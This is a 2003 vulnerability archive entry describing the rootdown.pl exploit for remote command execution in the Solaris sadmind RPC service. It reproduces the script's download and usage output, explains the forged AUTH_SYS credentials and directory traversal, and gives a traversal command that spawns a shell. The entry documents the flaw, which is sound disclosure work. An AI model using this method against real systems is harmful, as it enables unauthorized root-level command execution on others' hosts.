Solaris SADMIND Exploitation

2003-09-19T00:00:00
ID SECURITYVULNS:DOC:5129
Type securityvulns
Reporter Securityvulns
Modified 2003-09-19T00:00:00

Description

The exploitation method is different from the iDefense advisory, this code only requires a single UDP packet to the sadmind service to execute commands.

==================================================

$ wget http://www.metasploit.com/tools/rootdown.pl >/dev/null 2>&1 $ chmod 755 rootdown.pl $ ./rootdown.pl

+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution

   Usage:   ./rootdown.pl -h <target> -c <command> [options]
 Options:
            -i      Start interactive mode (for multiple commands)
            -p      Avoid the portmapper and use this sadmind port
            -r      Query alternate portmapper on this UDP port
            -v      Display information about this exploit

$ ./rootdown.pl -v

Name: rootdown.pl Author: H D Moore <hdm[at]metasploit.com> Version: 1.0

This exploit targets a weakness in the default security settings of the sadmind RPC application. This application is installed and enabled by default on most versions of the Solaris operating system.

The sadmind application defaults to a weak security mode known as AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode, the service will accept a structure containing the user and group IDs as well as the originating system name. These values are not validated in any form and are completely controlled by the client. If the standard sadmin RPC API calls are used to generate the request, the ADM_CLIENT_HOST parameter is filled in with the hostname of the client system. If the RPC packet is modified so that this field is set to the hostname of the remote system, it will be processed as if it was a local request. If the user ID is set to zero or the value of any user in the sysadmin group, it is possible to call arbitrary methods in any class available to sadmind.

If the Solstice AdminSuite client software has not been installed, the only class available is 'system', which only contains a single method called 'admpipe'. The strings within this program seem to suggest that it can be used run arbitrary commands, however I chose a different method of command execution. Since each method is simply an executable in the class directory, it is possible to use a standard directory traversal attack to execute any application. We can pass arguments to these methods using the standard API.

An example of spawning a shell which executes the 'id' command:

# apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id

To exploit this vulnerability, we must create a RPC packet that calls the '/bin/sh' method, passing it the parameter of the command we want to execute. To do this, packet dumps of the 'apm' tool were obtained and the format was slowly mapped. The hostname of the target system must be known for this exploit to work, however when sadmind is called with the wrong name, it replies with a 'ACCESS DENIED' error message containing the correct name. The final code does the following:

1) Queries the portmapper to determine the sadmind port 2) Sends an invalid request to sadmind to obtain the hostname 3) Uses the hostname to forge the RPC packet and execute commands

This vulnerability was reported by Mark Zielinski and disclosed by iDefense.

Related URLs:

  • http://www.idefense.com/advisory/09.16.03.txt
  • http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view